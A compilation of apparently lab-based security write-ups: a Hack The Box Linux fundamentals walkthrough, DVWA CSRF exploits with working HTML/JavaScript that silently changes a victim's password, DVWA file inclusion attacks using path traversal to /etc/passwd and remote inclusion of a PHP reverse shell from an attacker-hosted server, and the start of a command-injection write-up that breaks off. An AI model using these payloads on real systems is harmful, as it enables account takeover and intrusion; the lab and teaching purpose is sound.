Furthermore, the case study emphasized the importance of regular data backups, employee awareness and training, and well-defined incident response planning. Collaboration and information sharing among organizations, industry sectors, and government entities emerged as crucial factors in combating evolving cyber threats.

The NotPetya cyberattack served as a wake-up call for organizations, prompting them to reassess their cybersecurity strategies and adopt preventive measures to mitigate the impact of similar sophisticated threats. By implementing the lessons learned from the NotPetya case study, organizations can bolster their resilience, protect critical systems and data, and maintain trust among their clients, stakeholders, and the general public.

In conclusion, the NotPetya case study serves as a reminder of the evolving threat landscape and the constant need for vigilance in the face of cyberattacks. It provides valuable insights into the consequences of inadequate cybersecurity practices and the importance of proactive measures to safeguard against sophisticated threats. By embracing the preventive strategies outlined in this case study, organizations can better prepare themselves to defend against and mitigate the impact of future cyber incidents.

Certainly, here’s how you might adapt the sections for a Linux Fundamental CTF challenge:

Pre-Requisites for Linux Fundamental CTF:

Before attempting the Linux Fundamental CTF challenge, it’s essential to have a basic understanding of the Linux operating system and command-line usage. You should be familiar with concepts such as:

- Basic Linux commands (e.g., `ls`, `cd`, `mkdir`, `cat`, `grep`, `chmod`, `chown`, etc.).
- File system structure and navigation.
- User and group management in Linux.
- Permissions and ownership (file permissions, `sudo`, etc.).
- Text editing with tools like `nano` or `vim`.
- Package management (e.g., `apt` for Debian-based systems, `yum` for Red Hat-based systems).
- Basic shell scripting (e.g., writing and executing shell scripts).
- Understanding of Linux file types (directories, files, symlinks, devices).
- Knowledge of Linux distributions and package repositories.

Tools Used in Linux Fundamental CTF:

For the Linux Fundamental CTF challenge, the primary tools you’ll use are the standard Linux command-line utilities. These tools are essential for navigation, investigation, and solving Linux-related tasks. Common tools include:

- `ls`: List directory contents.
- `cd`: Change directory.
- `cat`: Concatenate and display file content.
- `grep`: Search for patterns in text.
- `chmod` and `chown`: Change file permissions and ownership.
- `passwd`: Change user passwords.
- `useradd` and `userdel`: Create and delete users.
- `groupadd` and `groupdel`: Create and delete groups.
- `sudo`: Execute commands with superuser privileges.
- `nano` or `vim`: Text editors for editing configuration files.
- `ps` and `kill`: List and manage running processes.
- `netstat` or `ss`: Network utilities for examining network connections.
- `df` and `du`: Display disk space usage.
- `find` and `locate`: Search for files and directories.
- `top` or `htop`: Monitor system resource usage.
- `ifconfig` or `ip`: Network configuration tools.

High-Level Overview for Linux Fundamental CTF:

The Linux Fundamental CTF challenge tests your knowledge of basic Linux commands and system administration tasks. The high-level approach to this challenge involves the following steps:

1. Initial Access: Start by accessing the provided Linux system or virtual machine. You might be given SSH access or access to a terminal session on the target machine.
2. Reconnaissance: Gather information about the system by using commands like `ls`, `cat`, and `lsblk`. Look for files, directories, and configurations that could contain valuable information or clues.
3. User Management: Explore user accounts on the system. Check for user lists with `cat /etc/passwd` and examine user home directories. Look for files or configurations that could lead to privilege escalation or further access.
4. File System Exploration: Investigate the file system using commands like `ls`, `cd`, `cat`, and `grep`. Pay attention to file permissions, ownership, and the contents of important configuration files.
5. Privilege Escalation: If the challenge involves privilege escalation, search for weaknesses in user permissions, configuration files, or vulnerable software. Utilize `sudo` or other methods to escalate privileges if necessary.
6. Flag Retrieval: The ultimate goal is to locate and retrieve the flag, which may be stored in a specific file or directory. Once found, capture and submit the flag to complete the challenge.

Remember that the Linux Fundamental CTF challenge is designed to teach basic Linux skills, so approach it as a learning experience and explore different commands and techniques as you progress.

In this walkthrough, we will describe the initial steps taken to establish connectivity and access to a remote device with the IP address 10.129.39.205, as part of a Linux fundamentals exercise.

In the initial part of the Capture The Flag (CTF) challenge, participants often encounter a series of lessons or tasks that serve as a learning and skill-building experience. These lessons are designed to introduce participants to various concepts and techniques related to cybersecurity and ethical hacking.

Testing Connectivity with Ping Command

The first part of the exercise involves using the `ping` command to test the connectivity between the local device (the one running the command) and the remote device with the IP address 10.129.39.205.

The `ping` command is a network utility that sends ICMP (Internet Control Message Protocol) echo requests to a remote IP address to check if the remote device is responsive. The results of the `ping` command are displayed, indicating whether the remote device is reachable.

Outcome:

Based on the results of the `ping` command, it is determined that the device at the IP address 10.129.39.205 is reachable and responsive to ping requests. This means that there is network connectivity between the local device and the remote device.

Establishing SSH Connection:

The second part of the exercise involves using the SSH (Secure Shell) command to establish a secure connection to the remote device with the IP address 10.129.39.205 and used the provided credentials: username “htb-student” and password “HTB_@cademy_stdnt!” to authenticate and gain access to the remote machine.

SSH is a protocol used for secure remote access to a device over a network. It provides encrypted communication and authentication methods to ensure a secure connection.

Outcome:

The output of the SSH command indicates that the user “htb-student” has successfully connected to the device at the IP address 10.129.39.205. This suggests that the SSH authentication was successful, and the user now has access to the remote device.

1. Find out the machine hardware name and submit it as the answer.

In the first question of the CTF challenge, you were tasked with finding out the hardware name of the remote machine. You correctly used the uname -m command to retrieve this information, and the answer you provided is "x86_64."

The uname -m command in Linux is used to display the machine hardware name, and in this case, it indicates that the remote machine's architecture is 64-bit x86, commonly referred to as "x86_64."

2. What is the path to htb-student’s home directory?

Navigate to the Home Directory: Once you are logged in as “htb-student,” you can determine the path to their home directory. The home directory for a user in Linux is typically named after the user and located under the /home directory. To confirm the path, you can use the pwd command (short for "print working directory"):

This command will display the current working directory, which should be the home directory of the user “htb-student.” In this case, it should output is : /home/htb-student

3. what is the path to the htb-student’s mail?

Answer: /var/mail/htb-student

4. Which shell is specified for the htb-student user?

To determine which shell is specified for the “htb-student” user, you can use the grep command in combination with the /etc/passwd file, which contains user account information, including the default shell. Here's how to find out the specified shell for the "htb-student" user:

grep student /etc/passwd

This command searches the /etc/passwd file for a line that starts with "htb-student" (the username). The result will display the user's account information, including the default shell, which typically appears as the last field on the line.

5. Which kernel version is installed on the system? (Format: 1.22.3)

uname -r

Running this command will display the kernel version currently installed on the system.

6. What is the name of the network interface that MTU is set to 1500?

we used the ifconfig | grep mtu command to list network interfaces and then filter the output to display only the lines containing the keyword "mtu." The result shows two network interfaces: "ens192" and "lo." Among these interfaces, "ens192" is the one with an MTU (Maximum Transmission Unit) set to 1500, as indicated by the "mtu 1500" line. Therefore, the name of the network interface with an MTU of 1500 is "ens192."

Navigation

1. What is the name of the hidden “history” file in the htb-user’s home directory?

To find the name of the hidden “history” file in the “htb-user’s” home directory, we used the ls -la command, which displays a detailed listing of files and directories, including hidden ones. Our output revealed the presence of a hidden history file named ".bash_history" in the user's home directory.

So, the name of the hidden “history” file in the “htb-user’s” home directory is “.bash_history.” This file typically stores a history of previously executed commands in the user’s shell session.

2. What is the index number of the “sudoers” file in the “/etc” directory?

To find the index number of the “sudoers” file in the “/etc” directory, you used the `ls -i` command to display the inode numbers of files and directories and then piped the output to `grep sudoers` to filter for the “sudoers” file. The result you obtained is “147627,” which represents the index number of the “sudoers” file in the “/etc” directory. This index number can be useful for various file system operations and reference.

WORKING WITH FILES AND DIRECTORIES:

1. What is the name of the last modified file in the “/var/backups” directory?

To find the name of the last modified file in the “/var/backups” directory, we changed the directory to /var/backups using ‘cd /var/backups’ then we used the `ls -lart` command, which lists files and directories in reverse order of modification time (oldest first). The last entry in the list represents the most recently modified file. The name of the last modified file in the “/var/backups” directory is “apt.extended_states.0.” This file likely contains backup or state information related to the APT package manager.

2. What is the inode number of the “shadow.bak” file in the “/var/backups” directory?

To find the inode number of the “shadow.bak” file in the “/var/backups” directory, we can use the ls -i command to list files along with their inode numbers and then filter for the "shadow.bak" file using grep. From this we provided output, it appears that there are two files with names “gshadow.bak” and "shadow.bak." The one you're interested in is likely "shadow.bak."

ls -i | grep shadow.bak

The inode number for the “shadow.bak” file in the “/var/backups” directory is 265293.

FIND FILES AND DIRECTORIES

1. What is the name of the config file that has been created after 2020–03–03 and is smaller than 28k but larger than 25k?

Here’s a breakdown of the command:

`find /`: Initiates the search from the root directory (“/”).
- `-iname “*.conf”`: Specifies that the search should be case-insensitive (“-iname”) and look for files with names ending in “.conf,” which is a common extension for configuration files.
- `-size +25k -size -28k`: Filters files based on size criteria. It searches for files larger than 25 kilobytes (“+25k”) but smaller than 28 kilobytes (“-28k”).
- `-newermt 2020–03–03`: Sets a time criterion for files modified or created after March 3, 2020. This filters out files created before that date.
- `2> /dev/null`: Redirects error messages to `/dev/null` to suppress error output.

The command aims to find configuration files that meet these specific conditions, such as being within a certain size range and created or modified after March 3, 2020. Once executed, it will provide a list of file names that meet these criteria.

output: /usr/share/drirc.d/00-mesa-defaults.conf

2. How many files exist on the system that have the “.bak” extension?

Here’s the breakdown of the command:

- `find /`: This starts a recursive search from the root directory (“/”).
- `-type f`: It specifies that only files should be considered (not directories or other types of entries).
- `-name “*.bak”`: This sets the search criterion to look for files with names ending in “.bak.”
- `2>/dev/null`: It redirects any error messages to “/dev/null,” effectively suppressing them.
- `| wc -l`: This pipes the list of matching files to the “wc” (word count) command with the “-l” option, which counts the number of lines in the output.

The command found and counted 4 files on the system that have the “.bak” extension. These are files with names ending in “.bak” located somewhere in the directory structure, as determined by the recursive search.

3. Submit the full path of the “xxd” binary.

To find the full path of the “xxd” binary on a Linux system, you can use the “which” command. Here’s how you can do it:
which xxd

Running this command will provide you with the full path to the “xxd” binary, which you can then submit as your answer. The actual path may vary depending on the system configuration, but the “which” command will locate it for you.

FILE DESCRIPTORS AND REDIRECTIONS

1. How many files exist on the system that have the “.log” file extension?

note: used the same command as we used before in .bak extension.

2. How many total packages are installed on the target system?

To determine the total number of packages installed on the target system, you used the `dpkg — list | grep -c ‘^ii’ command. Here’s a breakdown of the command and its output:

dpkg — list: This command is used to list all installed packages on the system. It generates a long list of package information, including package names, versions, and descriptions.

`|` (pipe): The pipe symbol `|` is used to take the output of the previous command and pass it as input to the next command.

`grep -c ‘^ii’`: This part of the command involves using `grep` to search for lines that start with “ii.” In Debian package listings, “ii” indicates that the package is installed and configured. The `-c` option is used to count the number of lines that match the pattern.

- `^ii`: This regular expression means “start of the line (^) followed by ‘ii’.”

Output: The final result of the command is “737,” which means that there are a total of 737 installed packages on the target system.

The command essentially filters the list of installed packages to include only those that are marked as installed and configured (“ii”) and then counts the number of lines that match this criteria, providing you with the total count of installed packages on the system. This can be useful for system inventory and management purposes.

FILTER CONTENT

1. How many total packages are installed on the target system?

“ss -l -4 | grep -v ‘127\.0\.0’ | grep ‘LISTEN’ | wc -l” is used to count the total number of listening network sockets on the target system, excluding loopback addresses. Here’s a process of how it works:

`ss -l -4`: This part of the command uses the “ss” command to list all listening sockets with IPv4 addresses (“-4”). “ss” is a utility to investigate sockets, and the “-l” option restricts the output to display listening sockets only.

`grep -v ‘127\.0\.0’`: The first “grep” command filters out lines containing loopback addresses (e.g., “127.0.0.1”) using the “-v” option, which inverts the match. This ensures that loopback addresses are excluded from the count.

`grep ‘LISTEN’`: In the next step, the second “grep” command filters the remaining lines to select only those that contain the word “LISTEN.” This narrows down the output to sockets that are actively listening for incoming connections.

`wc -l`: Finally, the “wc” command with the “-l” option counts the number of lines that match the “LISTEN” condition, providing the total count of listening sockets on the system. In this case, the output is “7,” indicating that there are seven listening sockets on the target system.

2. Determine what user the ProFTPd server is running under. Submit the username as the answer.

To determine the user under which the ProFTPd server is running, you can use the ps aux command to list all running processes and then filter the results for the ProFTPd process using grep. Here's a step-by-step walkthrough of the command and its output:

The command ps aux is used to list all running processes on the system.

The | symbol is used to pipe the output of the ps aux command to the grep command, which allows you to search for specific lines that contain the term "proftpd."

The output of the grep proftpd command is as follows:

• User: proftpd (This is the username under which the ProFTPd server is running.)
• Process ID (PID): 1614
• CPU and memory usage information
• The command that started the process: proftpd: (accepting connections)

Based on this information, the ProFTPd server is running under the username proftpd. This is the username you should submit as the answer.

USER MANAGEMENT

1. used the command ‘man useradd’ and found the -m is the answer.

2. Which option needs to be set to lock a user account using the “usermod” command? (long version of the option)

3. Which option needs to be set to execute a command as a different user using the “su” command? (long version of the option)

SERVICE AND PROCESS MANAGEMENT:

1. Use the “systemctl” command to list all units of services and submit the unit name with the description “Load AppArmor profiles managed internally by snapd” as the answer.

TASK SCHEDULING:

1. what is the type of the services of the “syslog.service”?

Introduction

CSRF, or Cross-Site Request Forgery, is a security vulnerability where an attacker tricks a user’s browser into making unintended and unauthorized requests to a web application on which the user is authenticated. This is often achieved by crafting malicious URLs or embedding harmful scripts in web pages. CSRF attacks can lead to unauthorized actions being performed on behalf of the victim, such as changing passwords or making financial transactions, without their knowledge or consent. To prevent CSRF, web applications should implement countermeasures like anti-CSRF tokens, SameSite cookie attributes, and referer header checks to ensure that requests originate from trusted sources.

low.php

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>

CSRF Vulnerability:

The code doesn’t include any CSRF protection, making it susceptible to CSRF attacks. An attacker could craft a malicious link, and if a logged-in user clicks on it, their password would be changed without their consent.

Insecure Password Handling:

The code uses the md5 function for password hashing, which is considered outdated and insecure. It’s recommended to use more secure hashing algorithms like bcrypt.

SQL Injection Risk:

The code uses string concatenation in the SQL query, making it vulnerable to SQL injection attacks. Prepared statements should be used to prevent such vulnerabilities.

Lack of Input Validation:

The code does not perform proper input validation. It assumes that the passwords match, and it doesn’t check the length or complexity of the password.

save it in the file:

<!DOCTYPE html>
<html lang=”en”>
<head>
<meta charset=”UTF-8">
<meta name=”viewport” content=”width=device-width, initial-scale=1.0">
<title>Password Change</title>
</head>
<body>
<button onclick=”changePassword()”>Click Me!!!</button>
<script>
function changePassword() {
// Replace the following URL with the desired URL
var url = ‘http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=pass&password_conf=pass&Change=Change#'
// Open the URL in a new tab
window.open(url, ‘_blank’);
}
</script>
</body>
</html>

We are presenting the HTML code for a page featuring a download link for a game named “click me,” along with a claim that the password has been modified by the attacker. If the attacker shares this link with the victim, the password change will take effect.

Upon the victim’s attempt to open the HTML page, the display will resemble the following:

When the victim attempts to click on the “clicklink,” the password “test” will undergo an automatic change. The altered password is observable in the displayed content.

Security: Medium

If we try to use low security method then it wont work anymore

As we Know, we will first view the source code

<?php

if( isset( $_GET[ ‘Change’ ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ ‘HTTP_REFERER’ ] ,$_SERVER[ ‘SERVER_NAME’ ]) !== false ) {
// Get input
$pass_new = $_GET[ ‘password_new’ ];
$pass_conf = $_GET[ ‘password_conf’ ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS[“___mysqli_ston”]) && is_object($GLOBALS[“___mysqli_ston”])) ? mysqli_real_escape_string($GLOBALS[“___mysqli_ston”], $pass_new ) : ((trigger_error(“[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.”, E_USER_ERROR)) ? “” : “”));
$pass_new = md5( $pass_new );

// Update the database
$insert = “UPDATE `users` SET password = ‘$pass_new’ WHERE user = ‘“ . dvwaCurrentUser() . “‘;”;
$result = mysqli_query($GLOBALS[“___mysqli_ston”], $insert ) or die( ‘<pre>’ . ((is_object($GLOBALS[“___mysqli_ston”])) ? mysqli_error($GLOBALS[“___mysqli_ston”]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>’ );

// Feedback for the user
echo “<pre>Password Changed.</pre>”;
}
else {
// Issue with passwords matching
echo “<pre>Passwords did not match.</pre>”;
}
}
else {
// Didn’t come from a trusted source
echo “<pre>That request didn’t look correct.</pre>”;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS[“___mysqli_ston”]))) ? false : $___mysqli_res);
}

?>

The vulnerability in this code lies in its reliance on the HTTP Referer header for Cross-Site Request Forgery (CSRF) protection. The code assumes that checking the Referer header ensures the request’s origin is from the same server, considering it a trusted source. However, this approach is flawed as the Referer header can be manipulated easily by attackers. This allows malicious websites or crafted URLs to make requests to the script, deceiving the user’s browser into executing unintended actions, such as altering their password without their awareness or approval.

Observing the legitimate request, we notice the presence of a Referer, indicating the request’s origin. This alignment allows the request to proceed. Now, consider intercepting the illegitimate request using Burp and including the HTTP Referer. This entails manipulating the request to mimic a valid origin, potentially bypassing the security check and allowing unauthorized actions to take place.

Paasword changed sucessfully

High:

<!DOCTYPE html>

<html>

<head>

<meta charset=’utf-8'>

<meta http-equiv=’X-UA-Compatible’ content=’IE=edge’>

<title>CSRF High</title>

</head>

<body onload=”change_password()”>

<script>

function change_password(){

const request = new XMLHttpRequest();

const url = “http://127.0.0.1:9999/vulnerabilities/csrf/"

request.open(“GET”, url);

request.onreadystatechange = () => {

if (request.readyState === request.DONE && request.status === 200) {

var response = request.responseText;

var user_token = /[a-f0–9]{32}/g.exec(response)[0]

var payload = “http://127.0.0.1:9999/vulnerabilities/csrf/?password_new=password&amp;password_conf=password&Change=Change&user_token="+user_token;

var second_request = new XMLHttpRequest();

second_request.open(“GET”, payload);

second_request.send()

}

};

request.send()

console.log(“password changed”);
}
</script>
</body>
</html>

We stored this code in an HTML file, executed it, and observed the password change message in the console, concluding the process.

Findings:

Low-Level Vulnerabilities:

• Lack of CSRF protection in low.php.
• Insecure password handling using the outdated md5 function.
• SQL injection risk due to string concatenation.
• Insufficient input validation.

High-Level Vulnerabilities:

• Reliance on the HTTP Referer header for CSRF protection.
• The Referer header can be easily manipulated, allowing attackers to bypass protection.
• Successful password change through an illegitimate request.

Conclusion:

The identified CSRF vulnerabilities pose a significant risk to the security of the web application. The low-level vulnerabilities highlight issues in input validation, password handling, and SQL injection protection. The high-level vulnerability emphasizes the limitations of using the Referer header as the sole protection mechanism against CSRF attacks. Implementing the recommended security enhancements is crucial to fortify the application against CSRF exploits and ensure the protection of user data.

Introduction:

File Inclusion Attacks pose a serious threat to web applications, enabling attackers to manipulate the inclusion of files and potentially lead to remote code execution. This writeup explores the exploitation of Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities across different security levels (Low, Medium, and High) in a web application. The purpose is to highlight the impact of insufficient input validation and the importance of secure coding practices.

What is File Inclusion Attack?

A File Inclusion Attack is a security exploit that enables an attacker to incorporate a file on a web server by leveraging a PHP script. This vulnerability emerges when a web application permits clients to input or upload files. Unlike a standard Directory Traversal Attack, which focuses on unauthorized file system access, a file inclusion vulnerability manipulates how an application loads code for execution. If successfully exploited, a file inclusion vulnerability leads to remote code execution on the web server hosting the affected application.

There are two main types of file inclusion attacks: Local File Inclusion (LFI) and Remote File Inclusion (RFI).

1. Local File Inclusion (LFI):

• In an LFI attack, the attacker exploits vulnerabilities in a web application to include and execute local files on the server. This means that the attacker can read files that are present on the server, such as configuration files, system files, or other sensitive information.
• LFI attacks often target web applications that use user input, such as file paths or parameters, without proper validation or sanitization.

Example URL with LFI vulnerability:

http://example.com/index.php?page=../../etc/passwd

If the web application is vulnerable, this could lead to the inclusion of the /etc/passwd file.

2. Remote File Inclusion (RFI):

• RFI is a more severe form of file inclusion attack. In an RFI attack, the attacker can include files from a remote server. This means that the attacker can execute arbitrary code hosted on an external server, potentially leading to complete compromise of the affected system.
• RFI attacks are particularly dangerous because they allow attackers to introduce and execute malicious code on the server.

Example URL with RFI vulnerability:

http://example.com/index.php?=http://malicious.com/malicious_code.php

If the web application is vulnerable, this could lead to the execution of code from the external.

Methodology

Low Security Level (LFI):

• Utilized the DVWA (Damn Vulnerable Web Application) to demonstrate a basic LFI vulnerability.
• Obtained a PHP reverse shell from revshells.com and hosted it on a local server.
• Manipulated the ‘page’ parameter in the URL to include the reverse shell script.Successfully gained a reverse shell by exploiting the vulnerability.

Medium Security Level (LFI):

• Examined a more secure scenario with additional input validation in place.
• Identified weaknesses in the str_replace-based input validation.
• Attempted to bypass the validation using creative patterns like …/./.
• Successfully exploited the vulnerability by crafting a URL that bypassed the validation.

High Security Level (LFI):

• Analyzed a higher security level where input validation involves pattern matching with fnmatch.
• Recognized that the validation was not sufficiently robust.
• Exploited the vulnerability by using file:// protocol, which wasn’t filtered by fnmatch.
• Demonstrated the inclusion of sensitive files like /etc/passwd.

Low and Medium Security Level (RFI):

• Explored RFI vulnerabilities by attempting to include a remote PHP reverse shell.
• Prepared a Python HTTP server to host the reverse shell script.
• Manipulated the ‘page’ parameter in the URL to include the remote PHP script.
• Successfully obtained a reverse shell by triggering the RFI vulnerability.

High Security Level (RFI):

• Acknowledged the security measures in place, preventing the inclusion of external content.
• Recognized that the web server exclusively accepts files named “include.php” or those starting with “file.”
• Concluded that RFI is not feasible due to stringent input validation.

Local File Inclusion:

1: Low

Initiate your system, access the Damn Vulnerable Web Application (DVWA), log in, navigate to the security tab within DVWA, and modify the difficulty level to the “low” setting.

Source code:
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

The variable $file is assigned the value of the 'page' parameter from the GET request. In PHP, the $_GET superglobal is used to retrieve values from the URL, so we can easily manipulate the URL.

http://127.0.0.1:8888/vulnerabilities/fi/?page=../../../../../../etc/passwd

why did this happened?

There is no validation or sanitization of the user-provided input. This lack of validation allows users to input arbitrary values, including file paths, which can be exploited for malicious purposes.

2. Medium

source code:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

Let’s break down the provided PHP code in points:

Code Breakdown:

• $_GET['page']: Retrieves the value of the 'page' parameter from the URL query string. This value is intended to specify the page to display.
• str_replace(array("http://", "https://"), "", $file): Removes "http://" and "https://" prefixes from the $file variable, likely to prevent accessing files on external servers.
• str_replace(array("../", "..\""), "", $file): Removes "../" and ".." sequences from the $file variable, aiming to block path traversal attacks that try to access files outside the intended directory.

Attempted Bypass:

• The blocked strings ../../../ and ..\..\..\..\ are common path traversal attempts to navigate up multiple directory levels.
• The attacker tried ..././..././..././..././..././..././..././ as a bypass.

http://127.0.0.1:8888/vulnerabilities/fi/page=..././..././..././..././..././..././..././etc/passwd

Why It Worked:

• Loose Pattern Matching: The str_replace function used strict string matching, looking for exact sequences of "../" or "..". It didn't account for variations like ..././.
• Equivalent Paths: The string ..././ is essentially equivalent to ../ in terms of file system navigation. It moves up one directory level, but the extra dots and slashes bypassed the filter.

3. High

vulnerabilities/fi/source/high.php
<?php

// The page we wish to display
$file = $_GET[ ‘page’ ];

// Input validation
if( !fnmatch( “file*”, $file ) && $file != “include.php” ) {
// This isn’t the page we want!
echo “ERROR: File not found!”;
exit;
}

?>

1. User Input Capture: The code captures user input from the ‘page’ parameter in the URL using $_GET['page'] and assigns it to the variable $file. This is a common way to retrieve user-supplied data from the URL.
2. Input Validation: The fnmatch function is used for pattern matching. The condition in the if statement checks whether the value of $file does not match the pattern "file*" (i.e., it does not start with "file") and is not equal to "include.php."
3. Conditional Check: If the condition evaluates to true (meaning the input does not meet the specified criteria), the code inside the conditional block is executed.
4. Error Handling: Inside the conditional block, an error message is echoed to the user: “ERROR: File not found!” This message indicates that the requested file is not allowed based on the input validation rules.
5. Script Termination: The exit function is then called, terminating the execution of the script. This ensures that if the input is not valid, the script stops executing further code, preventing the inclusion of unauthorized files.

Vulnerability:

• Insufficient Validation: The fnmatch function used for validation is inadequate. It only checks if the filename starts with "file" or is exactly "include.php", leaving room for exploitation.

Exploit:

http://127.0.0.1:8888/vulnerabilities/fi/?page=file:///etc/paswd

• File Path Manipulation: The attacker provided :file:///etc/passwd as the page parameter, crafting a malicious file path.
• Bypassing Validation: The :file:// prefix, often used to access local files in browsers, wasn't filtered by the fnmatch function, allowing the attacker to pass the check.
• Accessing Sensitive File: The application likely included the specified file, unintentionally exposing the contents of /etc/passwd, a sensitive file containing user account information.

Why It Worked:

• Loose Validation: The fnmatch function only checked for specific filename patterns, not handling potential URL schemes like file://.
• File Protocol Handling: The application might have interpreted :file:// as a valid file path, leading to the inclusion of the specified file.

Remote File Inclusion

1. Low

1. Preparation:

Obtained Reverse Shell:

• Visited https://revshells.com to obtain a PHP reverse shell, specifically the one of PHPPentestMonkey.

Setup Python HTTP Server:

• Started a simple HTTP server using the command: python3 -m http.server 80 to serve the reverse shell script.

2. Listener Setup:

• Set up a Netcat listener using the command: nc -lnvp <port> to listen for incoming connections on a specific port.

3. Exploiting the LFI Vulnerability:

• Manipulated the ‘page’ parameter in the URL to include the reverse shell script hosted on your machine:

http://127.0.0.1:8888/vulnerabilities/fi/page=http://10.0.2.16/revsh.php

• Accessed the manipulated URL, triggering the LFI vulnerability and causing the web application to include the remote PHP script.

4. Obtaining the Reverse Shell:

• Due to the successful inclusion of the reverse shell script, a connection was established to your Netcat listener.

• You now have an interactive shell on the target system, allowing you to execute commands and interact with the compromised machine.

Medium(RFI)

1. Preparation:
Obtained Reverse Shell:

• Similar to the “Low” level, obtained a PHP reverse shell from https://revshells.com.
• Maintained the Python HTTP server to serve the reverse shell script.

Listener Setup:

Kept the Netcat listener active for incoming connections.

Exploiting the LFI Vulnerability:

Manipulated the ‘page’ parameter in the URL to include the reverse shell script hosted on your machine, with a slight modification in the URL for the “Medium” level:

http://127.0.0.1:8888/vulnerabilities/fi/?page=Http://10.0.2.16/revsh.php

Accessed the manipulated URL, exploiting the LFI vulnerability and causing the web application to include the remote PHP script.

Obtaining the Reverse Shell:

Similar to the “Low” level, due to the successful inclusion of the reverse shell script, a connection was established to your Netcat listener.
Command Execution:

You have gained an interactive shell on the target system, allowing you to execute commands and interact further with the compromised machine.

Hard

Exploiting the high difficulty level using Remote File Inclusion (RFI) is not feasible, as indicated in the source page. It’s understood that the target web server exclusively accepts files named “include.php” or those commencing with the term “file,” preventing the inclusion of external server content.

Findings

Common Vulnerabilities:

• Across different security levels, common vulnerabilities included insufficient input validation and pattern-matching limitations.

Exploitation Techniques:

• Exploited LFI by manipulating URL parameters to traverse directories and include remote files.
• Bypassed input validation using variations in file path representations.
• Demonstrated successful RFI attacks by including remote PHP scripts.

Recommendations

Input Validation:

Implement robust input validation, considering variations in file path representations.
Use regular expressions for precise pattern matching and validation.

Whitelisting:

Consider whitelisting allowed values for file inclusion, reducing the risk of unauthorized inclusions.

Security Education:

Provide security training for developers to enhance awareness of common vulnerabilities and secure coding practices.

Conclusion

File Inclusion Attacks, when left unaddressed, can lead to severe security breaches. This writeup demonstrated the exploitation of LFI and RFI vulnerabilities across different security levels. It underscores the importance of thorough input validation, secure coding practices, and continuous security education for developers. By following these recommendations, web applications can significantly reduce the risk of file inclusion vulnerabilities and enhance overall security.

Introduction

The exploration detailed here delves into the vulnerabilities associated with command injection, an exploitable flaw wherein untrusted user inputs are executed as system commands. The investigation unfolds within the context of a scenario involving a system represented by the Rick and Morty-themed “Pickle Rick” challenge. This system exhibits vulnerabilities, prompting a step-by-step journey to identify, exploit, and mitigate command injection risks.

Before we delve into exploring the system, let’s gather information about command injection.

Command Injection is a security vulnerability that arises when an application or system allows untrusted user input to be executed as system commands. This vulnerability occurs when input data is not properly validated or sanitized before being passed to a command interpreter, such as a shell or operating system. Attackers exploit command injection vulnerabilities by inserting malicious commands within the intended input fields or parameters. These injected commands are then executed by the system, potentially leading to unauthorized access, data loss, system compromise, or further exploitation of the system.

Scenarios

Command injection vulnerabilities commonly arise in various scenarios:

1. Web Applications: Input fields like search bars, login forms, or any user-interfacing elements that take user input without proper validation can be susceptible to command injection. If this input is directly passed to system commands without sanitization, it can lead to vulnerabilities.

2. Shell Scripts: Scripts that incorporate user-provided data without adequate validation or handling can be prone to command injection. Any script that executes system commands based on user input without proper checks is at risk.

3. Network Services: Applications or services that interact with external systems and process user-provided data without validation can also face command injection vulnerabilities. This includes services like FTP, SSH, or other network-based utilities.

Understanding these scenarios helps in identifying potential points of vulnerability and implementing measures to prevent command injection attacks in these areas.

Mitigation

Mitigating command injection vulnerabilities involves several key strategies:

1. Input Validation and Sanitization: Thoroughly validate and sanitize user inputs to ensure they conform to expected formats and contain only permissible characters. Filtering out or escaping special characters that can be interpreted as commands is crucial to prevent unauthorized command execution.
2. Secure Coding Practices: Use secure coding practices and functions that handle command execution securely. Utilize APIs or libraries designed to prevent command injections, such as parameterized queries in databases or language-specific functions that mitigate these risks.
3. Least Privilege: Ensure that the processes or users executing commands have the minimum necessary privileges required to perform their tasks. This reduces the impact of successful command injections by limiting the scope of potential damage.
4. Regular Security Audits and Testing: Conduct frequent security audits and penetration tests to identify and address vulnerabilities, including potential command injection points. Automated scanning tools or manual code reviews can help uncover vulnerabilities.
5. Update and Patch Management: Keep all software, frameworks, and dependencies up to date with the latest security patches. This helps in mitigating known vulnerabilities that could be exploited for command injection attacks.
6. Network Segmentation and Access Controls: Employ network segmentation and access controls to limit direct access between systems and restrict unauthorized access to critical parts of the network. Firewalls, access controls, and proper network segregation can minimize attack surfaces.

Methodology

Command Injection Vulnerabilities:

• Detailed understanding of command injection vulnerabilities in various scenarios: web applications, shell scripts, and network services.
• Strategies to mitigate vulnerabilities: input validation, secure coding practices, least privilege, security audits, updates, network segmentation, and access controls.

System Exploration Steps

Initial Reconnaissance:

Check if the target machine is accessible via ping:

Ping <IP of box>

Access the Terminal:

• Open a terminal or command prompt on your system.

